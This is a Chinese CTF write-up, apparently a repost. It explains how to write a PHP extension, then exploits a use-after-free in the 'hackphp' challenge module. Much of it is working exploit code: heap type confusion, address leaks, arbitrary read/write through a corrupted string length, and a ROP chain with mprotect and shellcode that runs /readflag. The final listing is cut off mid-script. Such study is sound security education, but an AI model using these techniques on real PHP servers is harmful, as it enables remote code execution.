文章首发于安全KER https://www.anquanke.com/post/id/233831
0x00前言 从一题学习php模块的编写,学习WEB PWN,并演示WEB PWN中的堆UAF利用基本手法。
0x01 PHP模块的编写 php模块一般使用C/C++编写,编译后以库文件的形式进行加载,在Linux下为.so,Windows下为.dll。下面,我们来编写一个php模块的helloword,并在php里进行调用。 首先下载php源码,进入php源码目录的ext目录,执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 root@ubuntu:/home/sea/Desktop/php-src/ext# ./ext_skel.php --ext helloword Copying config scripts... done Copying sources... done Copying tests... done Success. The extension is now ready to be compiled. To do so, use the following steps: cd /path/to/php-src/helloword phpize ./configure make Don't forget to run tests once the compilation is done: make test Thank you for using PHP!
模块基本语法 该程序直接为我们生成了一个模板,我们可以直接查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 /* helloword extension for PHP */ #ifdef HAVE_CONFIG_H # include "config.h" #endif #include "php.h" #include "ext/standard/info.h" #include "php_helloword.h" /* For compatibility with older PHP versions */ #ifndef ZEND_PARSE_PARAMETERS_NONE #define ZEND_PARSE_PARAMETERS_NONE() \ ZEND_PARSE_PARAMETERS_START(0, 0) \ ZEND_PARSE_PARAMETERS_END() #endif /* {{{ void helloword_test1() */ PHP_FUNCTION(helloword_test1) { ZEND_PARSE_PARAMETERS_NONE(); php_printf("The extension %s is loaded and working!\r\n", "helloword"); } /* }}} */ /* {{{ string helloword_test2( [ string $var ] ) */ PHP_FUNCTION(helloword_test2) { char *var = "World"; size_t var_len = sizeof("World") - 1; zend_string *retval; ZEND_PARSE_PARAMETERS_START(0, 1) Z_PARAM_OPTIONAL Z_PARAM_STRING(var, var_len) ZEND_PARSE_PARAMETERS_END(); retval = strpprintf(0, "Hello %s", var); RETURN_STR(retval); } /* }}}*/ /* {{{ PHP_RINIT_FUNCTION */ PHP_RINIT_FUNCTION(helloword) { #if defined(ZTS) && defined(COMPILE_DL_HELLOWORD) ZEND_TSRMLS_CACHE_UPDATE(); #endif return SUCCESS; } /* }}} */ /* {{{ PHP_MINFO_FUNCTION */ PHP_MINFO_FUNCTION(helloword) { php_info_print_table_start(); php_info_print_table_header(2, "helloword support", "enabled"); php_info_print_table_end(); } /* }}} */ /* {{{ arginfo */ ZEND_BEGIN_ARG_INFO(arginfo_helloword_test1, 0) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_helloword_test2, 0) ZEND_ARG_INFO(0, str) ZEND_END_ARG_INFO() /* }}} */ /* {{{ helloword_functions[] */ static const zend_function_entry helloword_functions[] = { PHP_FE(helloword_test1, arginfo_helloword_test1) PHP_FE(helloword_test2, arginfo_helloword_test2) PHP_FE_END }; /* }}} */ /* {{{ helloword_module_entry */ zend_module_entry helloword_module_entry = { STANDARD_MODULE_HEADER, "helloword", /* Extension name */ helloword_functions, /* zend_function_entry */ NULL, /* PHP_MINIT - Module initialization */ NULL, /* PHP_MSHUTDOWN - Module shutdown */ PHP_RINIT(helloword), /* PHP_RINIT - Request initialization */ NULL, /* PHP_RSHUTDOWN - Request shutdown */ PHP_MINFO(helloword), /* PHP_MINFO - Module info */ PHP_HELLOWORD_VERSION, /* Version */ STANDARD_MODULE_PROPERTIES }; /* }}} */ #ifdef COMPILE_DL_HELLOWORD # ifdef ZTS ZEND_TSRMLS_CACHE_DEFINE() # endif ZEND_GET_MODULE(helloword) #endif
其中由PHP_FUNCTION
宏修饰的函数代表该函数可以直接在php中进行调用,由PHP_RINIT_FUNCTION
修饰的函数将在一个新请求到来时被调用,其描述如下
当一个页面请求到来时候,PHP 会迅速开辟一个新的环境,并重新扫描自己的各个扩展,遍历执行它们各自的RINIT 方法(俗称 Request Initialization),这时候一个扩展可能会初始化在本次请求中会使用到的变量等, 还会初始化用户端(即 PHP 脚本)中的变量之类的,内核预置了 PHP_RINIT_FUNCTION() 这个宏函数来帮我们实现这个功能
由PHP_MINIT_FUNCTION
修饰的函数将在初始化module时运行。最终将需要在php中调用的函数指针写到一个统一的数组中。
1 2 3 4 5 static const zend_function_entry helloword_functions[] = { PHP_FE(helloword_test1, arginfo_helloword_test1) PHP_FE(helloword_test2, arginfo_helloword_test2) PHP_FE_END };
然后由zend_module_entry helloword_module_entry
进行注册,该结构体记录了整个模块需要提供的一些信息。
1 2 3 4 5 6 7 8 9 10 11 12 zend_module_entry helloword_module_entry = { STANDARD_MODULE_HEADER, "helloword", /* Extension name */ helloword_functions, /* zend_function_entry */ NULL, /* PHP_MINIT - Module initialization */ NULL, /* PHP_MSHUTDOWN - Module shutdown */ PHP_RINIT(helloword), /* PHP_RINIT - Request initialization */ NULL, /* PHP_RSHUTDOWN - Request shutdown */ PHP_MINFO(helloword), /* PHP_MINFO - Module info */ PHP_HELLOWORD_VERSION, /* Version */ STANDARD_MODULE_PROPERTIES };
传参 在函数里,由ZEND_PARSE_PARAMETERS_NONE()
修饰的代表无参数;而ZEND_PARSE_PARAMETERS_START
规定了参数的个数,其定义如下
1 #define ZEND_PARSE_PARAMETERS_START(min_num_args, max_num_args) ZEND_PARSE_PARAMETERS_START_EX(0, min_num_args, max_num_args)
而Z_PARAM_OPTIONAL
代表参数可有可无,不是必须;Z_PARAM_STRING(var, var_len)
代表该参数是字符串对象,并且将其内容地址和长度分别赋值给var和var_len。 还有很多类型,如下表:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 specifier Fast ZPP API macro args | Z_PARAM_OPTIONAL a Z_PARAM_ARRAY(dest) dest - zval* A Z_PARAM_ARRAY_OR_OBJECT(dest) dest - zval* b Z_PARAM_BOOL(dest) dest - zend_bool C Z_PARAM_CLASS(dest) dest - zend_class_entry* d Z_PARAM_DOUBLE(dest) dest - double f Z_PARAM_FUNC(fci, fcc) fci - zend_fcall_info, fcc - zend_fcall_info_cache h Z_PARAM_ARRAY_HT(dest) dest - HashTable* H Z_PARAM_ARRAY_OR_OBJECT_HT(dest) dest - HashTable* l Z_PARAM_LONG(dest) dest - long L Z_PARAM_STRICT_LONG(dest) dest - long o Z_PARAM_OBJECT(dest) dest - zval* O Z_PARAM_OBJECT_OF_CLASS(dest, ce) dest - zval* p Z_PARAM_PATH(dest, dest_len) dest - char*, dest_len - int P Z_PARAM_PATH_STR(dest) dest - zend_string* r Z_PARAM_RESOURCE(dest) dest - zval* s Z_PARAM_STRING(dest, dest_len) dest - char*, dest_len - int S Z_PARAM_STR(dest) dest - zend_string* z Z_PARAM_ZVAL(dest) dest - zval* Z_PARAM_ZVAL_DEREF(dest) dest - zval* + Z_PARAM_VARIADIC('+', dest, num) dest - zval*, num int * Z_PARAM_VARIADIC('*', dest, num) dest - zval*, num int
测试 编译以后得到了模块
1 2 root@ubuntu:/home/sea/Desktop/php-src/ext/helloword/modules# ls helloword.la helloword.so
安装该模块
1 cp helloword.so /usr/local/lib/php/extensions/no-debug-non-zts-20190902
php.ini里添加
测试程序如下
1 2 3 4 <?php helloword_test1(); helloword_test2("aaa"); ?>
运行结果
1 2 root@ubuntu:/home/sea/Desktop/php-src/ext/helloword/modules# php 1.php The extension helloword is loaded and working!
可以看到模块成功被调用,并且在php中的调用十分方便,当成普通函数调用就可以了。
0x02 PHP模块逆向分析 将helloword.so模块用IDA打开分析 定位到函数表,可以发现供我们在php里调用的函数有两个,且这些函数名都以zif
开头 进入zif_helloword_test2
函数,可以看到,宏都被展开了,前面是对参数个数的判断,后面则是对变量进行赋值。 至此,对php模块,我们已经有了大致的了解。
0x03 hackphp 漏洞分析 首先用IDA分析,找到zif
开头的函数 因此,在php中我们能调用该模块中的4个函数,分别为
1 2 3 4 hackphp_create hackphp_delete hackphp_edit hackphp_get
hackphp_create函数接收一个整型参数,其功能是可以调用_emalloc
创建一个堆,这里存在一个UAF漏洞,就是当0<=size<256或者size>512
时不会直接return
,会执行到efree
将申请的堆给释放掉,然后其指针仍然保留给了buf
全局变量。
hackphp_delete函数无参数,其功能是将buf指向的堆efree掉,并清空buf指针
hackphp_edit函数接收一个字符串参数,并将其内容写入到buf里,这里注意的是,php里传入的字符串,即使其字符串中存在\x00
,其length也不是以该字符截断的,该字符串对象的length成员表示其内容的字节数
,并且在hackphp_edit函数中,使用了memcpy
而不是strncpy
这意味着hackphp_edit不会因为字符串中存在\0
而截断,因此,我们可以用该函数进行字节编辑。
hackphp_get函数用于显示buf
的内容,由于使用的是zend_strpprintf(0LL,"%s", buf)
因此会受到\0
字符的截断。
漏洞分析完了,该模块存在一个UAF,但是由于使用的是emalloc/efree
不能像glibc的ptmalloc
那样进行花式利用,我们可以利用double free
,因为通过测试,double free
不会报错,并且重新申请两次时都可以申请到此处,因此我们可以考虑让两个php对象同时占位于此,达到类型混淆
的目的。
漏洞利用分析 我们可以将DateInterval
对象占位于此。为了确定该对象的结构大小,我们使用如下代码测试,其中$str = fread(STDIN,1000);
起到阻塞的效果。
1 2 3 4 5 <?php $str = fread(STDIN,1000); $dv = new DateInterval('P1Y'); $str = fread(STDIN,1000); ?>
运行该程序php 1.php
,然后另外开一个窗口,用gdb进行attach调试。给emalloc函数下断点
1 2 pwndbg> b _emalloc Breakpoint 1 at 0x55ea1e726970: file /home/sea/Desktop/php-src/Zend/zend_alloc.c, line 2533.
然后继续运行,程序断下后,发现此时size为56
继续运行,发现不止一次下断,我们记录下每一次下断后emalloc返回的地址,最终发现第一次emalloc(56)
的堆里有许多有用的数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 RAX 0x7f5e332551c0 —▸ 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 ◂— ... *RBX 0x7f5e332551c0 —▸ 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 ◂— ... RCX 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 —▸ 0x7f5e332552d8 ◂— ... RDX 0x7f5e33200070 —▸ 0x7f5e332010c0 —▸ 0x7f5e332010d8 —▸ 0x7f5e332010f0 —▸ 0x7f5e33201108 ◂— ... RDI 0x7f5e33200040 ◂— 0x0 *RSI 0x5654177dbf50 ◂— 0x1 R8 0x7f5e33254440 ◂— 0x600000001 R9 0x7f5e33200000 —▸ 0x7f5e33200040 ◂— 0x0 R10 0x7f000 R11 0x246 *R12 0x7f5e332551d0 ◂— 0x0 R13 0x0 R14 0x7f5e33212020 —▸ 0x7f5e3328d0c0 —▸ 0x56541558b9fc (execute_ex+8732) ◂— endbr64 R15 0x7f5e3328d0c0 —▸ 0x56541558b9fc (execute_ex+8732) ◂— endbr64 RBP 0x5654177dbf50 ◂— 0x1 *RSP 0x7ffe15719fd0 —▸ 0x7f5e332120c0 ◂— 0x747468203b0a2e79 ('y.\n; htt') *RIP 0x5654152b6512 (date_object_new_interval+66) ◂— movups xmmword ptr [rax], xmm0 ──────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────── 0x5654152b64fc <date_object_new_interval+44> pxor xmm0, xmm0 0x5654152b6500 <date_object_new_interval+48> mov rsi, rbp 0x5654152b6503 <date_object_new_interval+51> mov qword ptr [rax + 0x30], 0 0x5654152b650b <date_object_new_interval+59> lea r12, [rax + 0x10] 0x5654152b650f <date_object_new_interval+63> mov rbx, rax ► 0x5654152b6512 <date_object_new_interval+66> movups xmmword ptr [rax], xmm0 0x5654152b6515 <date_object_new_interval+69> mov rdi, r12 0x5654152b6518 <date_object_new_interval+72> movups xmmword ptr [rax + 0x10], xmm0 0x5654152b651c <date_object_new_interval+76> movups xmmword ptr [rax + 0x20], xmm0 0x5654152b6520 <date_object_new_interval+80> call zend_object_std_init <zend_object_std_init> 0x5654152b6525 <date_object_new_interval+85> mov rsi, rbp ───────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────── In file: /home/sea/Desktop/php-src/Zend/zend_objects_API.h 89 * Properties MUST be initialized using object_properties_init(). */ 90 static zend_always_inline void *zend_object_alloc(size_t obj_size, zend_class_entry *ce) { 91 void *obj = emalloc(obj_size + zend_object_properties_size(ce)); 92 /* Subtraction of sizeof(zval) is necessary, because zend_object_properties_size() may be 93 * -sizeof(zval), if the object has no properties. */ ► 94 memset(obj, 0, obj_size - sizeof(zval)); 95 return obj; 96 } 97 98 static inline zend_property_info *zend_get_property_info_for_slot(zend_object *obj, zval *slot) 99 { ───────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7ffe15719fd0 —▸ 0x7f5e332120c0 ◂— 0x747468203b0a2e79 ('y.\n; htt') 01:0008│ 0x7ffe15719fd8 —▸ 0x5654177dbf50 ◂— 0x1 02:0010│ 0x7ffe15719fe0 —▸ 0x7f5e33212120 ◂— 0x6f20676f4c20746e ('nt Log o') 03:0018│ 0x7ffe15719fe8 —▸ 0x56541550c9a9 (object_init_ex+57) ◂— mov dword ptr [rbx + 8], 0x308 04:0020│ 0x7ffe15719ff0 ◂— 0x0 05:0028│ 0x7ffe15719ff8 —▸ 0x7f5e33212190 ◂— 0x206f74203b0a6465 ('ed\n; to ') 06:0030│ 0x7ffe1571a000 —▸ 0x7f5e332120c0 ◂— 0x747468203b0a2e79 ('y.\n; htt') 07:0038│ 0x7ffe1571a008 —▸ 0x7f5e33212120 ◂— 0x6f20676f4c20746e ('nt Log o') ─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────── ► f 0 5654152b6512 date_object_new_interval+66 f 1 5654152b6512 date_object_new_interval+66 f 2 56541550c9a9 object_init_ex+57 f 3 56541550c9a9 object_init_ex+57 f 4 56541556f585 ZEND_NEW_SPEC_CONST_UNUSED_HANDLER+53 f 5 56541558ba05 execute_ex+8741 f 6 5654155932bd zend_execute+301 f 7 56541550ac3c zend_execute_scripts+204 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
如上,0x7f5e332551c0
为emalloc(56)
申请的堆,我们记下该地址,然后输入c
继续运行,直到程序不再下断,也就是执行到php代码里的最后一句$str = fread(STDIN,1000);
时,此时DateInterval
对象创建完成,我们查看该地址处的内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> tel 0x7f5e332551c0 00:0000│ 0x7f5e332551c0 —▸ 0x7f5e3327e000 ◂— 0x1 01:0008│ 0x7f5e332551c8 ◂— 0x1 02:0010│ 0x7f5e332551d0 ◂— 0xc000041800000001 03:0018│ 0x7f5e332551d8 ◂— 0x1 04:0020│ 0x7f5e332551e0 —▸ 0x5654177dbf50 ◂— 0x1 05:0028│ 0x7f5e332551e8 —▸ 0x56541607a0a0 (date_object_handlers_interval) ◂— 0x10 06:0030│ 0x7f5e332551f0 ◂— 0x0 07:0038│ 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 —▸ 0x7f5e332552d8 ◂— ... pwndbg> tel 0x56541607a0a0 00:0000│ 0x56541607a0a0 (date_object_handlers_interval) ◂— 0x10 01:0008│ 0x56541607a0a8 (date_object_handlers_interval+8) —▸ 0x5654152b5790 (date_object_free_storage_interval) ◂— endbr64 02:0010│ 0x56541607a0b0 (date_object_handlers_interval+16) —▸ 0x56541553be40 (zend_objects_destroy_object) ◂— endbr64 03:0018│ 0x56541607a0b8 (date_object_handlers_interval+24) —▸ 0x5654152b6550 (date_object_clone_interval) ◂— endbr64 04:0020│ 0x56541607a0c0 (date_object_handlers_interval+32) —▸ 0x5654152b5aa0 (date_interval_read_property) ◂— endbr64 05:0028│ 0x56541607a0c8 (date_object_handlers_interval+40) —▸ 0x5654152b5e50 (date_interval_write_property) ◂— endbr64 06:0030│ 0x56541607a0d0 (date_object_handlers_interval+48) —▸ 0x56541553cba0 (zend_std_read_dimension) ◂— endbr64 07:0038│ 0x56541607a0d8 (date_object_handlers_interval+56) —▸ 0x56541553ce70 (zend_std_write_dimension) ◂— endbr64 pwndbg>
可以发现该对象内部存在一个虚表,虚表里有许多函数指针,因此,我们可以利用某些方法将这些数据读取出来,进而实现了地址泄露。假设我们将该对象占位于hackphp
模块中的UAF堆里,用hackphp_get
实现不了泄露,因为该函数遇到\0
会截断。因此我们可以考虑在之前先构造一个double free
然后将DateInterval
对象占位于此以后,将另外一个对象也占位于此,并且另外一个对象应该能够使用运算符[]
,这样我们可以使用运算符[]
来读取数据。一个可以考虑的对象是通过str_repeat("a",n);
创建的字符串对象,至于不直接使用array
是因为array
对象有些复杂,而字符串对象相对来说要简单一些。首先,我们得确定n
为多少,才能让其大小为56
与DateInterval
对象保持一致。 首先尝试0x30
1 2 3 4 5 <?php $str = fread(STDIN,1000); $dv = str_repeat("a",0x30); $str = fread(STDIN,1000); ?>
仍然使用gdb进行调试,发现实际调用emalloc
时,size为0x50 因此,如果我们要控制字符串对象的大小为56的话,n应该为0x18,也就是这样
1 $str = str_repeat("a",0x18);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 RAX 0x7fe101a551c0 —▸ 0x7fe101a551f8 —▸ 0x7fe101a55230 —▸ 0x7fe101a55268 —▸ 0x7fe101a552a0 ◂— ... In file: /home/sea/Desktop/php-src/Zend/zend_string.h 141 142 static zend_always_inline zend_string *zend_string_safe_alloc(size_t n, size_t m, size_t l, int persistent) 143 { 144 zend_string *ret = (zend_string *)safe_pemalloc(n, m, ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(l)), persistent); 145 ► 146 GC_SET_REFCOUNT(ret, 1); 147 GC_TYPE_INFO(ret) = IS_STRING | ((persistent ? IS_STR_PERSISTENT : 0) << GC_FLAGS_SHIFT); 148 ZSTR_H(ret) = 0; 149 ZSTR_LEN(ret) = (n * m) + l; 150 return ret; 151 }
记下其地址0x7fe101a551c0
,然后继续运行,直到不再下断。 可以发现,字符串对象结构比较简单,0x18偏移处就是数据区长度,如果我们将其篡改,就可以实现越界读写。假设该对象也占位与hackphp
模块的UAF堆中,那么我们就能利用该字符串对象对DateInterval
对象内部的数据进行读写。
漏洞利用 于是,我们的php脚本这样写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 //double free hackphp_create(56); hackphp_delete(); //$x and $dv now has same address $x = str_repeat("D",0x18); $dv = new DateInterval('P1Y'); $dv_vtable_addr = u64($x[0x10] . $x[0x11] . $x[0x12] . $x[0x13] . $x[0x14] . $x[0x15] . $x[0x16] . $x[0x17]); echo sprintf("dv_vatble=0x%lx",$dv_vtable_addr); echo "\n"; $dv_self_obj_addr = u64($x[0x20] . $x[0x21] . $x[0x22] . $x[0x23] . $x[0x24] . $x[0x25] . $x[0x26] . $x[0x27]) - 0x70; echo sprintf("dv_self_obj_addr=0x%lx",$dv_self_obj_addr); echo "\n";
通过上面的脚本,我们已经得到vtable
的地址以及该对象自身的地址。接下来,我们重新创建一个堆,然后将一个新的字符串对象占位,通过UAF修改字符串的length成员,从而该字符串对象将具有任意地址读写的能力。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 hackphp_create(0x60); $oob = str_repeat("D",0x40); hackphp_edit("\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff/readflag\x00"); $oob_self_obj_addr = u64($oob[0x48] . $oob[0x49] . $oob[0x4a] . $oob[0x4b] . $oob[0x4c] . $oob[0x4d] . $oob[0x4e] . $oob[0x4f]) - 0xC0; echo sprintf("oob_self_obj_addr=0x%lx",$oob_self_obj_addr); echo "\n"; $offset = $dv_vtable_addr + 0x8 - ($oob_self_obj_addr + 0x18); function read64($oob,$addr) { /*if ($addr < 0) { $addr = 0x10000000000000000 + $addr; }*/ return u64($oob[$addr+0x0] . $oob[$addr+0x1] . $oob[$addr+0x2] . $oob[$addr+0x3] . $oob[$addr+0x4] . $oob[$addr+0x5] . $oob[$addr+0x6] . $oob[$addr+0x7]); } echo sprintf("offset=0x%lx",$offset);
接下来,就可以泄露虚表里的函数指针地址了,计算出php二进制程序的基址,然后泄露GOT表,计算libc地址,获得gadgets及一些函数的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $date_object_free_storage_interval_addr = read64($oob,$offset+1); echo sprintf("date_object_free_storage_interval_addr=0x%lx",$date_object_free_storage_interval_addr); echo "\n"; $php_base = $date_object_free_storage_interval_addr - 0x23D790; $strlen_got = $php_base + 0xFFEEB8; $offset = $strlen_got - ($oob_self_obj_addr + 0x18) + 1; $strlen_addr = read64($oob,$offset); $libc_base = $strlen_addr - 0x18b660; $pop_rdi = $libc_base + 0x0000000000026b72; $pop_rsi = $libc_base + 0x0000000000026b70; $pop_rdx = $libc_base + 0x0000000000162866; $stack_ptr = $libc_base + 0x1ec440; $offset = $stack_ptr - ($oob_self_obj_addr + 0x18); $stack_addr = read64($oob,$offset); $mprotect_addr = $libc_base + 0x11BB00; echo sprintf("strlen_addr=0x%lx \n",$strlen_addr); echo sprintf("libc_base=0x%lx \n",$libc_base); echo sprintf("stack_addr=0x%lx \n",$stack_addr);
接下来就是如何劫持程序流了,由于具有了任意地址读写的能力,那么利用手法就是仁者见仁智者见智了。 然而当你调用$oob[x]
进行写时,如果x<=0
会发现报错
1 2 3 found!PHP Warning: Illegal string offset: 0 in /home/sea/Desktop/1.php on line 155 Warning: Illegal string offset: 0 in /home/sea/Desktop/1.php on line 155
通过分析源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static zend_never_inline void zend_assign_to_string_offset(zval *str, zval *dim, zval *value, zval *result) { zend_string *old_str; zend_uchar c; size_t string_len; zend_long offset; if (UNEXPECTED(Z_TYPE_P(dim) != IS_LONG)) { offset = zend_check_string_offset(dim/*, BP_VAR_W*/); } else { offset = Z_LVAL_P(dim); } if (offset < -(zend_long)Z_STRLEN_P(str)) { /* Error on negative offset */ zend_error(E_WARNING, "Illegal string offset " ZEND_LONG_FMT, offset); if (result) { ZVAL_NULL(result); } return; }
关键一句
1 if (offset < -(zend_long)Z_STRLEN_P(str))
因为这里,我们length
修改为了-1
,所以Z_STRLEN_P(str)
返回的就是-1
取反后就是1,也就是offset必须大于等于1,这意味着,我们只能向后进行任意地址写,当然,可以通过再次修改length为正数,绕过这个if检查。但是我没有这么做,因为栈地址位于最后,所以我可以直接向后找到栈地址,然后劫持栈。
为了确定栈ROP的位置,我使用了栈内存搜索,知道搜索到一个指定的返回地址结束。因为php_execute_script
是执行php脚本的具体实现,所以,我们只需劫持该函数的返回地址,那么我们就需要在栈里搜索该地址,如果找到,就说明这个位置就是我们写ROP的地方了。
1 2 3 4 5 6 7 8 9 10 11 12 $ret_main_target = $php_base + 0x51d402; //搜索ROP的地址 while (true) { $data = read64($oob,$offset); //echo sprintf("0x%lx",$hackphp_so_addr & 0xFFF); //echo "\n"; if (intval($data) == intval($ret_main_target) ) { echo "found!"; break; } $offset--; }
然后就是写入ROP了,不知道为何,不能封装为函数,否则会写入失败。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($pop_rsi & 0xFF); $pop_rsi = $pop_rsi >> 0x8; } $offset += 0x8; $data = 0x1000; for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($data & 0xFF); $data = $data >> 0x8; } $offset += 0x10; for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($pop_rdx & 0xFF); $pop_rdx = $pop_rdx >> 0x8; } $offset += 0x8; $data = 0x7; for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($data & 0xFF); $data = $data >> 0x8; } $offset += 0x10; for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($pop_rdi & 0xFF); $pop_rdi = $pop_rdi >> 0x8; } $offset += 8; $stack_addr = $offset + ($oob_self_obj_addr + 0x18); $data = $stack_addr ^ ($stack_addr & 0xfff); for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($data & 0xFF); $data = $data >> 0x8; } $offset += 8; $data = $mprotect_addr; for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($data & 0xFF); $data = $data >> 0x8; } $offset += 8; $data = $stack_addr+0x18; for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($data & 0xFF); $data = $data >> 0x8; } $stack_addr += 0x18; $offset += 0x8; $shellcode = "\x55\x48\x89\xE5\x48\x83\xEC\x30\x48\xB8\x2F\x72\x65\x61\x64\x66\x6C\x61\x48\x89\x45\xF0\x48\xC7\xC0\x67\x00\x00\x00\x48\x89\x45\xF8\x48\x8D\x7D\xF0\x48\xC7\xC6\x00\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\xB8\x3B\x00\x00\x00\x0F\x05"; $len = strlen($shellcode); //写shellcode for ($j=0;$j<$len;$j++) { $oob[$offset+$j] = $shellcode[$j]; }
至此,就完成了漏洞利用。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 <?php function u64($val) { $s = bin2hex($val); $len = strlen($s); $ans = "0x"; for ($i=$len-2;$i>=0;$i-=2) { $ans = $ans . substr($s,$i,2); } return intval($ans,16); } function p32($val) { $s = dechex($val); $len = strlen($s); $ans = ""; for ($i=$len-2;$i>=0;$i-=2) { $ans = $ans . substr($s,$i,2); } return hex2bin($ans); } //double free hackphp_create(56); hackphp_delete(); //$x and $dv now has same address $x = str_repeat("D",0x18); $dv = new DateInterval('P1Y'); $dv_vtable_addr = u64($x[0x10] . $x[0x11] . $x[0x12] . $x[0x13] . $x[0x14] . $x[0x15] . $x[0x16] . $x[0x17]); echo sprintf("dv_vatble=0x%lx",$dv_vtable_addr); echo "\n"; $dv_self_obj_addr = u64($x[0x20] . $x[0x21] . $x[0x22] . $x[0x23] . $x[0x24] . $x[0x25] . $x[0x26] . $x[0x27]) - 0x70; echo sprintf("dv_self_obj_addr=0x%lx",$dv_self_obj_addr); echo "\n"; hackphp_create(0x60); $oob = str_repeat("D",0x40); hackphp_edit("\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff/readflag\x00"); $oob_self_obj_addr = u64($oob[0x48] . $oob[0x49] . $oob[0x4a] . $oob[0x4b] . $oob[0x4c] . $oob[0x4d] . $oob[0x4e] . $oob[0x4f]) - 0xC0; echo sprintf("oob_self_obj_addr=0x%lx",$oob_self_obj_addr); echo "\n"; $offset = $dv_vtable_addr + 0x8 - ($oob_self_obj_addr + 0x18); function read64($oob,$addr) { /*if ($addr < 0) { $addr = 0x10000000000000000 + $addr; }*/ return u64($oob[$addr+0x0] . $oob[$addr+0x1] . $oob[$addr+0x2] . $oob[$addr+0x3] . $oob[$addr+0x4] . $oob[$addr+0x5] . $oob[$addr+0x6] . $oob[$addr+0x7]); } echo sprintf("offset=0x%lx",$offset); echo "\n"; $date_object_free_storage_interval_addr = read64($oob,$offset+1); echo sprintf("date_object_free_storage_interval_addr=0x%lx",$date_object_free_storage_interval_addr); echo "\n"; $php_base = $date_object_free_storage_interval_addr - 0x23D790; $strlen_got = $php_base + 0xFFEEB8; $offset = $strlen_got - ($oob_self_obj_addr + 0x18) + 1; $strlen_addr = read64($oob,$offset); $libc_base = $strlen_addr - 0x18b660; $pop_rdi = $libc_base + 0x0000000000026b72; $pop_rsi = $libc_base + 0x0000000000026b70; $pop_rdx = $libc_base + 0x0000000000162866; $stack_ptr = $libc_base + 0x1ec440; $offset = $stack_ptr - ($oob_self_obj_addr + 0x18); $stack_addr = read64($oob,$offset); $mprotect_addr = $libc_base + 0x11BB00; echo sprintf("strlen_addr=0x%lx \n",$strlen_addr); echo sprintf("libc_base=0x%lx \n",$libc_base); echo sprintf("stack_addr=0x%lx \n",$stack_addr); $offset = $stack_addr - ($oob_self_obj_addr + 0x18); $ret_main_target = $php_base + 0x51d402; //搜索ROP的地址 while (true) { $data = read64($oob,$offset); //echo sprintf("0x%lx",$hackphp_so_addr & 0xFFF); //echo "\n"; if (intval($data) == intval($ret_main_target) ) { echo "found!"; break; } $offset--; } for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($pop_rsi & 0xFF); $pop_rsi = $pop_rsi >> 0x8; } $offset += 0x8; $data = 0x1000; for ($j=0;$j<8;$j++) { $oob[$offset+$j] = chr($data & 0xFF); $data = $data >> 0x8; } $offset += 0x10; for ($j=0;$j<8;$j++) { 